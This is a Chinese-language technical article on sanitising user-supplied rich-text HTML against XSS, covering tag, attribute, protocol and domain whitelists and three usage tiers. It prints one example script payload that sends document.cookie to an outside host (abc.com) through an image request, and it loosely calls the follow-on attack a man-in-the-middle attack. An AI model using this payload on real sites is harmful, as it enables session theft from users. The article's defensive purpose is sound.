背景
富文本簡單來說就是由用戶自定義的部分html代碼,他最終的運行方式就是插入到主業務html文檔中,由瀏覽器解析展示。富文本相較于純文本多了很多標記,不同標記有不同的標記屬性,提供超越純文本的交互功能。例如我們可以在富文本內容中插入一段
<a href="//baidu.com">百度</a>
的語句, 在富文本展示在用戶端頁面時,就是這種效果:
客戶端可以直接從你的內容中通過點擊跳轉至目標鏈接//baidu.com。除此之外,還有img標簽,可以插入圖片, table標簽插入表格,ul插入無序列表等。
富文本豐富了用戶內容,可以允許自由的控制展示在用戶面前的內容。但是如果不對富文本內容進行審查,直接使用,則會有惡意代碼注入的風險。
xss注入風險
之前提到富文本是直接插入業務主html文檔中由瀏覽器進行解析展示的。他解析的過程是通過富文本中的標記依次進行。
有些標記是安全的,例如常見的b,span,strong,em等,不會跟外部資源產生關系。但是有個標記是比較危險的,就是<script></script>標記,它允許html加載一段js代碼或者文件到瀏覽器中執行。舉例,如果我們在富文本內容中插入這樣一段:
<script>
img = document.createElement('img');
img.src = '//abc.com?c=' + document.cookie;
document.body.appendChild(img);
</script>
他作為富文本內容出現在用戶瀏覽器時,會偽裝為一個圖片,然后將cookie數據傳送到abc.com服務器,然后abc.com獲取到了cookie之后,就可以進行中間人攻擊,篡改用戶的數據。
所以,
在任何時候,都不能完全相信用戶輸入的內容,不加審查與清洗地加入到我們的服務內容中
我們需要先對用戶輸入的富文本內容進行審查與修改,才能允許它進行展示。
富文本清洗
我們對于富文本內容有三個處理來進行清洗。
- 設置標記白名單,僅允許白名單的標記出現,杜絕危險標記。
- 設置標記屬性白名單,僅允許標記的白名單屬性存在,杜絕onclick=""可以運行js代碼的漏洞。
- 設置協議白名單。杜絕危險協議漏洞。
- 設置外部資源域名白名單,僅允許白名單內的資源引用,杜絕將客戶導向危險網站。
標記白名單
以下標記是安全的
a,b,blockquote,br,caption,cite,code,col,colgroup,dd,div,dl,dt,em,h1,h2,h3,h4,h5,h6,
i,img,li,ol,p,pre,q,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,u,ul
標記屬性白名單
以下標記的屬性是安全的,其他的屬性都應該去掉。
<a href="" />
<blockquote cite=""></blockquote>
<col span="" width=""/>
<colgroup span="" width=""></colgroup>
<img align="" alt="" height="" src="" title="" wdith="" />
<ol start="" type=""></ol>
<q cite=""></q>
<table summary="" width=""></table>
<td abbr="" axis="" colspan="" rowspan="" width=""></td>
<th abbr="" axis="" colspan="" rowspan="" scope="" width=""></th>
<ul type=""></ul>
協議白名單
- img標簽的src屬性,支持的協議為http,https,data,其中data為base64內嵌時的協議。
- a標簽的href屬性,支持的協議為http, https。不支持相對地址跳轉,應該使用絕對地址。
- blockquote標簽的cite屬性,支持的協議為http, https。
- cite標簽的cite屬性,支持的協議為http, https。
域名白名單
暫時只支持 .daliqc.cn。
富文本內容的三種場景
我們總結歸納了三種比較通用的富文本場景。
- 簡單場景。僅支持部分行內元素。針對標題,名稱等一行能夠解決問題的場景。
- 基礎場景。支持包括行內元素在內,以及部分塊元素。針對的是標題以外的簡介描述,舉例說明等一般樸素的文案說明。
- 全場景。在基礎場景上支持多媒體,支持代碼塊等。應對的場景是展示文章內容、多媒體內容等需要詳細說明的場景。
總結
- 富文本豐富了用戶內容,但是會有安全漏洞。
- 利用富文本漏洞的一個常見攻擊方式是通過腳本注入+中間人攻擊。
- 任何時候都不應該完全相信用戶輸入的內容,需要對富文本進行清洗,去除危險代碼。
- 通過設置標記白名單,標記屬性白名單,標記屬性值協議白名單,外部域名白名單來進行清洗。
- 富文本的三種通用場景,標題名稱用簡單場景,舉例說明簡單描述等用基礎場景,需要詳細展示內容的用全場景。